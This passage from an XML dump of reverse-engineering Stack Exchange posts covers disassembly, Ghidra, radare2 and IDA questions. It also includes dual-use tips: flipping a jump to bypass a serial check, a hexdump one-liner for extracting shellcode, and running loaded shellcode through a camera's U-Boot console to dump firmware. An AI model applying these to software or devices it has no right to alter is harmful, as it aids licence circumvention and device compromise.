UnknownStruct-&amp;gt;Member2;&#xA;7C921A56 MOV ECX,DWORD PTR SS:[EBP+10]; ecx = UnknownStruct-&amp;gt;Member3&#xA;7C921A59 MOV DWORD PTR DS:[EAX+1C],ECX; UnknownStruct-&amp;gt;Member8 = UnknownStruct-&amp;gt;Member3; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this part, offsets to the EBP are used to access variables and set their value. However, in his decompiled-c-equivalent output, it is shown that memory addresses are &lt;em&gt;not&lt;/em&gt; being used as the initialization value, i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UnknownStruct-&amp;gt;Member7 = UnknownStruct-&amp;gt;Member2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whereas in the first part, they are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UnknownStruct-&amp;gt;Member3 = &amp;amp;UnknownStruct-&amp;gt;Member2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this the case? As far as I can tell both parts should be the same- the only difference between the first and second is the LEA instruction, but that should only calculate the offset to the base pointer, the same as what is done in the second part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29283" LastActivityDate="2019-08-12T06:53:20.417" Title="Confusion about LEA and why it means what it does in this context" Tags="|disassembly|decompilation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21875" PostTypeId="2" ParentId="21867" CreationDate="2019-08-10T21:18:18.527" Score="1" Body="&lt;p&gt;Ok, I think I found the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case anybody has same issue. You have to set search.in value to &quot;range&quot; in order to &quot;tell&quot; r2 it should look within the scope you provided.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e.search.in=range&#xA;e.search.from=[addr]&#xA;e.search.to=[addr]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to search whole memory use&#xA;&lt;code&gt;e.search.in=dbg.maps&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck! &lt;/p&gt;&#xA;" OwnerUserId="29271" LastActivityDate="2019-08-10T21:18:18.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21878" PostTypeId="2" ParentId="21874" CreationDate="2019-08-11T04:34:15.443" Score="1" Body="&lt;p&gt;if eax = 1000 ecx will be 1004 in first part&#xA;uf  ebp = 1000  ecx will be  *(dword *) 100c in second part&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simply put  in pseudo c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ecx = foo in first part  it is simple assignment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ecx  = * foo in second part  it is dereferencing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;notice the difference of  &amp;amp; ( addressof operator) in both comments  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Function in Question Has A &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-rtlinitializegenerictable&quot; rel=&quot;nofollow noreferrer&quot;&gt;prototype&lt;/a&gt; of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSYSAPI VOID RtlInitializeGenericTable(&#xA;  PRTL_GENERIC_TABLE            Table,&#xA;  PRTL_GENERIC_COMPARE_ROUTINE  CompareRoutine,&#xA;  PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,&#xA;  PRTL_GENERIC_FREE_ROUTINE     FreeRoutine,&#xA;  PVOID                         TableContext&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so some one calling that function will be doing some thing like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rettype callingconv comp(...);  //prototype for actual function implemented elsewhere&#xA;rettype callingconv alloc(...);&#xA;rettype callingconv free(...);&#xA;&#xA;RTL_GENERIC_TABLE mytable = {0}; &#xA;&#xA;RtlInitializeGenericTable(&amp;amp;mytable,comp,alloc,free,NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so [ebp + 8] the FirstArgument to the Function  will hold the address of mytable&lt;br&gt;&#xA;or by design the Address of first member of that Structure&lt;br&gt;&#xA;which is &lt;strong&gt;PRTL_SPLAY_LINKS              TableRoot;&lt;/strong&gt;  which is documented to be SystemResereved&lt;br&gt;&#xA;so a NULL is filled in there &lt;strong&gt;(xor edx,edx , mov [eax],edx)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;lea ecx is Load Effective Address of [eax+4] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so ecx will by design be the address of &lt;code&gt;LIST_ENTRY                    InsertOrderList;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so there ecx, ecx+4 which point to &lt;strong&gt;Flink&lt;/strong&gt; and &lt;strong&gt;Blink&lt;/strong&gt; of the &lt;strong&gt;LIST_ENTRY&lt;/strong&gt; are initialised with ecx &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eax + c the third member of RTL_GENERIC_TABLE is    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLIST_ENTRY                   OrderedPointer;&lt;/strong&gt;   which is initialised with ecx too &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-08-12T06:53:20.417" LastActivityDate="2019-08-12T06:53:20.417" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21879" PostTypeId="2" ParentId="21207" CreationDate="2019-08-11T05:13:57.287" Score="10" Body="&lt;p&gt;Check my answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21630/ghidra-how-to-run-a-python-3-script-with-headless-analyzer/21632#21632&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is to use &lt;code&gt;./analyzeHeadless&lt;/code&gt; script, which comes with ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./analyzeHeadless ghidra-project-directory -import binary-file -postscript yourpythonscript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can either use &lt;code&gt;java&lt;/code&gt; or &lt;code&gt;python 2.7&lt;/code&gt;. You can check the ghidra api &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can write the script (in python) in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from  ghidra.app.decompiler import DecompInterface&#xA;from ghidra.util.task import ConsoleTaskMonitor&#xA;&#xA;# get the current program&#xA;# here currentProgram is predefined&#xA;&#xA;program = currentProgram&#xA;decompinterface = DecompInterface()&#xA;decompinterface.openProgram(program);&#xA;functions = program.getFunctionManager().getFunctions(True)&#xA;for function in list(functions):&#xA;    print(function)&#xA;    # decompile each function&#xA;    tokengrp = decompinterface.decompileFunction(function, 0, ConsoleTaskMonitor())&#xA;    print(tokengrp.getDecompiledFunction().getC())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2019-08-11T05:26:23.083" LastActivityDate="2019-08-11T05:26:23.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21881" PostTypeId="1" CreationDate="2019-08-12T10:39:17.507" Score="6" ViewCount="888" Body="&lt;p&gt;All IPAs being downloaded from AppStore gets encrypted on servers as part of FairPlay DRM. But decryption is accomplished on local device. As far as I know there is some hardware module which contains all the decryption logic. Is there any info how this module works, which algorithms uses? &lt;/p&gt;&#xA;" OwnerUserId="29282" LastEditorUserId="245" LastEditDate="2019-08-13T21:03:05.447" LastActivityDate="2019-09-14T23:01:15.183" Title="How does IPA decryption works?" Tags="|decryption|encryption|binary|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21882" PostTypeId="2" ParentId="14779" CreationDate="2019-08-12T14:24:00.740" Score="-1" Body="&lt;p&gt;I ended up using &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel PIN&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Edit:&#xA;I know this isn't actually an answer to the question. I was trying to change the behavior of a native executable and thought that I needed to change the binary on disk, when actually a binary instrumentation tool was enough for my purpuse.&lt;/p&gt;&#xA;" OwnerUserId="19332" LastEditorUserId="19332" LastEditDate="2023-01-18T17:44:56.517" LastActivityDate="2023-01-18T17:44:56.517" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21884" PostTypeId="2" ParentId="13966" CreationDate="2019-08-13T06:57:38.553" Score="3" Body="&lt;p&gt;I experienced this error when function body contained some embedded data; it is normal for assembler code, but I never saw such technique with high level language, so code packers/obfuscators embed data pieces in code segment as anti-disassembling measure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When unused random data appears in code, IDA can not detect function borders automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in such obfuscated code, instead of &lt;code&gt;Create function&lt;/code&gt; (or press &lt;code&gt;P&lt;/code&gt;) at the function start you can use &lt;code&gt;Set function end&lt;/code&gt; (or press &lt;code&gt;E&lt;/code&gt;) at function end, and IDA will create function from last &quot;non-function&quot; code start to current function. From my experience, this way may work with &lt;code&gt;P&lt;/code&gt; at the beginning of obfuscated function doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-08-13T06:57:38.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21885" PostTypeId="1" CreationDate="2019-08-13T10:41:11.050" Score="3" ViewCount="1149" Body="&lt;p&gt;I've been solving some crackmes, and every file that I download, in the &quot;instructions&quot; says: &quot;Patching is obviously not allowed&quot;. What does that mean? And how does one patch a file?&lt;/p&gt;&#xA;" OwnerUserId="29303" LastEditorUserId="18317" LastEditDate="2019-08-14T03:24:59.540" LastActivityDate="2019-08-14T10:56:11.803" Title="In reverse engineering, what does it mean to &quot;patch a file&quot;?" Tags="|patching|patch-reversing|crackme|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21886" PostTypeId="2" ParentId="21885" CreationDate="2019-08-13T12:29:20.667" Score="-1" Body="&lt;p&gt;The term &quot;patching a [binary]&quot; means to modify the instruction set. For example if there is a conditional jump that requires some memory to be set to a specific value, instead of modifying the memory, which might be the objective of the crackme, I could simply patch the binary to always take that jump (either by changing the condition of the jump from &lt;code&gt;jnz&lt;/code&gt; to &lt;code&gt;jz&lt;/code&gt;). Patching through a debugger easily allows me to change the instruction, save the new binary, and then run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://oalabs.openanalysis.net/2017/10/22/quick-and-dirty-binary-patching-with-ida-and-a-hex-editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is some more info.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25892" LastEditorUserId="245" LastEditDate="2019-08-14T10:56:11.803" LastActivityDate="2019-08-14T10:56:11.803" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21889" PostTypeId="2" ParentId="21885" CreationDate="2019-08-13T16:27:38.213" Score="3" Body="&lt;p&gt;Following quote comes from &lt;a href=&quot;https://unix.stackexchange.com/questions/17553/meaning-of-patching-binary-files&quot;&gt;unix.stackexchange&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To patch a file means to modify it, with the connotation that the modification is generally small.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, patching the executable is a process of changing its content usually performed for changing its original behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Patching is obviously not allowed&lt;/em&gt; means that the author of a particular crackme wants you to crack it without modifying its content. For instance, consider a simple program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ask_user_for_password();&#xA;read_input();&#xA;if (isPasswordCorrect())&#xA;    printf(“Congratulations, you have cracked it!\n”);&#xA;else&#xA;    printf(“Wrong password! Try again!\n”);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course one can patch it so that it always prints the &lt;em&gt;&quot;Congratulations [...]&quot;&lt;/em&gt; message, but the point of this very simple crackme is to actually &lt;em&gt;find&lt;/em&gt; that password somehow (by finding decryption key for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, to patch a file, you want to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the place / instruction you want to change (it may be &lt;code&gt;jnz&lt;/code&gt; to &lt;code&gt;jz&lt;/code&gt; as @Axel Munoz said, but it may be a &lt;code&gt;jmp&lt;/code&gt; to the location containing the code you want to be executed as well). &lt;/li&gt;&#xA;&lt;li&gt;Find out what is the &lt;em&gt;machine code&lt;/em&gt; representing the instruction you want to put there - it can be done by first compiling the program written in assembly and then disassembling it. If you are working on x86 architecture, you can use &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this site&lt;/a&gt; as well.&lt;/li&gt;&#xA;&lt;li&gt;Open the binary in a &lt;em&gt;hex editor&lt;/em&gt;, find the offset where you want to put your code and just paste the machine code you obtained in the previous step.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-08-13T16:27:38.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21891" PostTypeId="1" CreationDate="2019-08-14T11:14:25.867" Score="1" ViewCount="193" Body="&lt;p&gt;I'm trying to disassemble an executable file with IDA Pro. This program basically does some calculations based on the values one writes into a text box, then displays it in another text box. To find the principle behind those calculations I need to know which function is responsible for reading the values which the user enters into the text box, then I think I can trace it further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's important seems like this executable uses something like textbox.text.change event because it changes the value in output text box every time we change the value in the input text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/open?id=1kigQDR-Nw7MTWmv6JlOxvNCjVK5zg8TR&quot; rel=&quot;nofollow noreferrer&quot;&gt;The &lt;code&gt;.exe&lt;/code&gt; file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29314" LastEditorUserId="245" LastEditDate="2019-08-14T20:53:31.103" LastActivityDate="2019-08-14T20:53:31.103" Title="Which API function is responsible for input strings?" Tags="|ida|executable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21893" PostTypeId="1" CreationDate="2019-08-14T15:33:50.343" Score="2" ViewCount="805" Body="&lt;p&gt;I'm having trouble getting GHIDRA to load symbols for a Microsoft EXE from an accompanying DBG file.  Perhaps I'm just overlooking some obvious documentation in which case a focussed link would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Having both &quot;foo.exe&quot; and &quot;foo.dbg&quot; in the same directory and importing &quot;foo.exe&quot; and auto-analyzing it with defaults.&lt;/li&gt;&#xA;&lt;li&gt;After importing &quot;foo.exe&quot;, using &quot;Add to Program&quot; in the CodeBrowser and added &quot;foo.dbg&quot; explicitly.  That suceeds with no errors, but I still can't find the symbols in the &quot;Symbol Tree&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Background:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Using GHIDRA 9.0.4 installed on Fedora-30 (via ZIP file).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The EXE is a Delphi-7 EXE built under WinXP (32 bit) with a MAP file and full TD32&#xA;debug in the EXE itself.  I created the DBG file using map2dbg.  This&#xA;is very old, very crusty stuff.  I'm going to create a separate&#xA;question on how to load symbols from a custom file (I've seen&#xA;references but sadly cannot find those menu action in my IDE).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In case this really is a dead end I added a &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/21895/29318&quot;&gt;related question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29318" LastEditorUserId="245" LastEditDate="2019-08-14T20:46:20.477" LastActivityDate="2019-08-14T20:46:20.477" Title="How to load symbols from Windows DBG file" Tags="|ghidra|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21894" PostTypeId="2" ParentId="15925" CreationDate="2019-08-14T15:38:07.660" Score="1" Body="&lt;p&gt;This works best for me (and looks easier to understand IMO)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -r -j .text -d test | cut -d: -f2 | cut -d$'\t' -f 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shellcode is best extracted via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hexdump -v -e '&quot;\\&quot;&quot;x&quot; 1/1 &quot;%02x&quot; &quot;&quot;' test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29320" LastActivityDate="2019-08-14T15:38:07.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21895" PostTypeId="1" CreationDate="2019-08-14T16:42:47.127" Score="4" ViewCount="5876" Body="&lt;p&gt;I'm having trouble loading symbols for a very old Delphi-7 EXE.  I posted a separate question regarding loading the DBG file symbols.  Another approach would be to convert the debug symbols (available in a MAP text file) into some other text format and load it.  I see references in the GHIDRA ticketing system to that sort of thing (e.g. &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/170&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) but I cannot find those actions anywhere in my GHIDRA IDE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guidance about where in the GUI to locate those features (and the needed file format) would be greatly appreciated.  Perhaps I need to install some optional component (I just unzipped GHIDRA 9.0.4 onto my Fedora-30 system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/21893/29318&quot;&gt;related question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29318" LastEditorUserId="30100" LastEditDate="2020-11-29T13:03:46.310" LastActivityDate="2020-11-29T13:03:46.310" Title="GHIDRA: How to load symbols from a text (map) file" Tags="|ghidra|debugging-symbols|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21896" PostTypeId="2" ParentId="21854" CreationDate="2019-08-14T21:26:19.583" Score="3" Body="&lt;p&gt;An array is an example of a &lt;strong&gt;data item&lt;/strong&gt;. Like all items in IDA (the other item type is &lt;em&gt;instruction&lt;/em&gt;), it has a starting address (&lt;strong&gt;head&lt;/strong&gt;) and &lt;strong&gt;size&lt;/strong&gt;. You can retrieve the whole item's size using the function &lt;code&gt;get_item_size()&lt;/code&gt; (legacy name &lt;code&gt;ItemSize()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out the number of items in an array, you can divide the whole array's size by the size of one element. But how to know the size of element? For this you need to inspect the &lt;em&gt;flags&lt;/em&gt; of the item (attached to the head byte) using &lt;code&gt;get_flags()&lt;/code&gt; function. Base item type is encoded in the bits defined by the &lt;code&gt;DT_TYPE&lt;/code&gt; bits (top 4 bits of the flags) and takes values such as &lt;code&gt;FF_BYTE&lt;/code&gt; (byte), &lt;code&gt;FF_WORD&lt;/code&gt; (word), &lt;code&gt;FF_DWORD&lt;/code&gt; and so on. But instead of checking the bits manually, you can use the function &lt;code&gt;get_data_elsize()&lt;/code&gt; which return the size in bytes from the flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info check the &lt;code&gt;bytes.hpp&lt;/code&gt; header in the SDK.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-14T21:26:19.583" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21897" PostTypeId="1" AcceptedAnswerId="21903" CreationDate="2019-08-15T02:00:15.970" Score="3" ViewCount="802" Body="&lt;p&gt;Within this very stripped down firmware I'm looking at (hikvision camera misrepresented), this is all I have to work with. No other firmware exists, and the &lt;code&gt;open-seasame&lt;/code&gt; command presents an encrypted challenge, so no root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything in this list that pokes at the ability to dump the firmware via uboot ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are pads for a micro-SD card, but I haven't soldered anything up or tested / probed it with a scope.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following commands are supported:&#xA;boot    erase   help    reset&#xA;saveenv printenv        setenv  upbs&#xA;format  update  upfusb  upf&#xA;updatebusb      updateb gos     go&#xA;mii     gpio    ping&#xA;Use help to get help on a specific command&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29324" LastEditorUserId="245" LastEditDate="2019-08-15T12:32:27.867" LastActivityDate="2019-08-16T14:35:02.667" Title="Limited U-Boot options, any memory reading possibilities here?" Tags="|memory|hardware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21898" PostTypeId="1" CreationDate="2019-08-15T08:23:07.133" Score="1" ViewCount="443" Body="&lt;p&gt;The program asks serial number. I've searched the API call which triggers the wrong password message box and force it into accepting an incorrect serial number in x64dbg’s string references. I found nothing usefull. So I tried to use Call Stack window in order to catch the responsible API function for input strings. I placed a breakpoint on the suspected address. I scrolled up to change the JE instructor to JNZ. When I click the OK button after I enter a serial number, the button doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0654C66D    E8 26353D01     CALL 0791FB98&#xA;0654C672    85C0            TEST EAX,EAX&#xA;0654C674    0F84 37010000   JE 0654C7B1&#xA;0654C67A    BE 05000000     MOV ESI,0x5&#xA;0654C67F    E9 41010000     JMP 0654C7C5&#xA;0654C684    FF75 14         PUSH DWORD PTR SS:[EBP+0x14]&#xA;0654C687    FF75 10         PUSH DWORD PTR SS:[EBP+0x10]&#xA;0654C68A    FF75 0C         PUSH DWORD PTR SS:[EBP+0xC]&#xA;0654C68D    FF75 08         PUSH DWORD PTR SS:[EBP+0x8]&#xA;0654C690    8B55 DC         MOV EDX,DWORD PTR SS:[EBP-0x24]&#xA;0654C693    8BCB            MOV ECX,EBX&#xA;0654C695    E8 B6FED7FD     CALL 042CC550&lt;/code&gt;  ' I've placed the breakpoint here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27336" LastEditorUserId="27336" LastEditDate="2019-09-30T10:53:50.203" LastActivityDate="2019-09-30T10:53:50.203" Title="How to bring the message box other than error message box" Tags="|disassembly|ollydbg|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21899" PostTypeId="2" ParentId="21580" CreationDate="2019-08-15T17:10:03.270" Score="1" Body="&lt;p&gt;If you dont want to set it to &lt;code&gt;e cmd.prompt=sr PC&lt;/code&gt;, you could also use the commands&lt;code&gt;sr rip&lt;/code&gt; or &lt;code&gt;sr PC&lt;/code&gt; to show rip when needed.&#xA;By the way, could you please mark your answer as accepted? &#xA;(my reputation is not high enough, so i cant comment your answer)&lt;/p&gt;&#xA;" OwnerUserId="29059" LastActivityDate="2019-08-15T17:10:03.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21901" PostTypeId="1" CreationDate="2019-08-15T18:11:41.617" Score="4" ViewCount="553" Body="&lt;p&gt;Most of file formats IDA handles are structured in a linear way, for example EXE or ELF or Java's Class file and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when it comes to tree-structured file format, I can't come up with a good way to properly handle them.&lt;br&gt;&#xA;For example, recently I met a obfuscated PYC file, and the code has an OLLVM-like obfuscation plus some junk bytes, so a strong disassembler like IDA is needed. The PYC file format is in fact some magic byte + python marshal data, which is easy to parse. However, the marshaled data is in tree structure. Here's an example: &lt;a href=&quot;http://www.beesfun.com/2017/04/01/PyCodeObject%E5%92%8Copcode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.beesfun.com/2017/04/01/PyCodeObject%E5%92%8Copcode/&lt;/a&gt;&lt;br&gt;&#xA;As you can see in the parsed result, the root object is a &lt;code&gt;module&lt;/code&gt; whose consts contain other functions in module, and the function in module can also have sub-functions in their consts.&#xA;Also &lt;code&gt;dis&lt;/code&gt; module or &lt;code&gt;pytype&lt;/code&gt; can be used to parse the PYC file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Java's compiled file, PYC stores bytecodes and some metadata for each functions, functions call each other &lt;strong&gt;with name&lt;/strong&gt; instead of address, bytecode believe the &lt;strong&gt;address starts from 0 in every function&lt;/strong&gt;. So I studied the source code of module/java in idasdk73, trying to understand how the developers from HexRays cope with the Java class file format.&lt;br&gt;&#xA;Then I found Java module in IDA are making a separate segment for each method and slot area. Because the python bytecode assume address starts from 0 in every function, and in every function there's a separate const pool which is also indexed from 0, I decided to create a header segment, a code segment and a const segment. &#xA;But this same way won't work for a PYC file, as the PYC format is tree-structured (sub-functions are stored in parent const pools), and IDA does not allow overlapped segments. So I can't make the consts area a single segment.&lt;br&gt;&#xA;But if I create a segment for each const, there will be tens of thousands of segments if the original py file is big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to make a loader for the &lt;strong&gt;tree-structured&lt;/strong&gt; format like PYC?&lt;/p&gt;&#xA;" OwnerUserId="16169" LastActivityDate="2023-12-24T20:09:16.167" Title="How to make IDA processor for file format with tree structure" Tags="|ida|disassembly|idapython|file-format|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21903" PostTypeId="2" ParentId="21897" CreationDate="2019-08-15T18:36:59.220" Score="3" Body="&lt;p&gt;Well I come up with two way.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The first one is a difficult way. I've looked up some resource and found that the &lt;code&gt;upf&lt;/code&gt; command on Hikvision camera should be able to update the firmware, and it's using TFTP to load the firmware into 0x02000000 address.&lt;br&gt;&#xA;Ref: &lt;a href=&quot;https://ipcamtalk.com/threads/hikvision-g1-5-5-firmware-exploring-the-cam-attempting-unlock.40814/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ipcamtalk.com/threads/hikvision-g1-5-5-firmware-exploring-the-cam-attempting-unlock.40814/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://ipcamtalk.com/threads/unrestricted-root-shell-on-g1-cameras.23213/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ipcamtalk.com/threads/unrestricted-root-shell-on-g1-cameras.23213/&lt;/a&gt;&#xA;So, you can use &lt;code&gt;upf&lt;/code&gt; command to receive file from your computer, and then load it to memory at 0x02000000, before the load finished, you can interrupt the update operation by cutting off the connection, so you can return to the uboot prompt and do other operations, and the transmitted data will still be there in the memory.&lt;br&gt;&#xA;Then there's also a &lt;code&gt;go&lt;/code&gt; command, which can bring the processor to execute the address you supply.&lt;br&gt;&#xA;To wrap them all, you can use the technique decribed above to load arbitary data into a fixed memory address, and then you can control the processor to execute arbitary address, so you can write shellcode to read from nand and print them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second one is a easier way. You can try to have a look at the printenv's output, and there may be some interesting environment variable controlling the updating progress and boot progress. There's chance you can upload a custom small rom without overwriting the original one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway, I'd suggest you use a debugger like JTAG to dump the memory, which is much more easier except you have to do some soldering.&lt;/p&gt;&#xA;" OwnerUserId="16169" LastActivityDate="2019-08-15T18:36:59.220" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21904" PostTypeId="1" AcceptedAnswerId="21909" CreationDate="2019-08-15T18:51:38.610" Score="0" ViewCount="217" Body="&lt;p&gt;I was trying to debug a crackme with radare2. I found an interesting function which radare2 flagged as &lt;code&gt;sym.xxx&lt;/code&gt;. The following listing is trimmed version of disassembled output of the function &lt;code&gt;sym.xxx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7ff299821090]&amp;gt; pdf @sym.xxx&#xA;/ (fcn) sym.xxx 179&#xA;|   sym.xxx ();&#xA;|           ; CALL XREF from main @ 0x55a340b531a8&#xA;|           0x55a340b53297      55             push rbp&#xA;|           0x55a340b53298      4889e5         mov rbp, rsp&#xA;|           0x55a340b5329b      488d35b92d00.  lea rsi, obj.key3       ; 0x55a340b5605b ; &quot;is&quot;&#xA;|           0x55a340b532a2      488d3d373000.  lea rdi, [0x55a340b562e0]&#xA;|           0x55a340b532a9      e8c2fdffff     call sym.imp.strcat     ; char *strcat(char *s1, const char *s2)&#xA;|           0x55a340b532ae      488d052b3000.  lea rax, [0x55a340b562e0]&#xA;|           0x55a340b532b5      48c7c1ffffff.  mov rcx, 0xffffffffffffffff&#xA;|           0x55a340b532bc      4889c2         mov rdx, rax&#xA;|           0x55a340b532bf      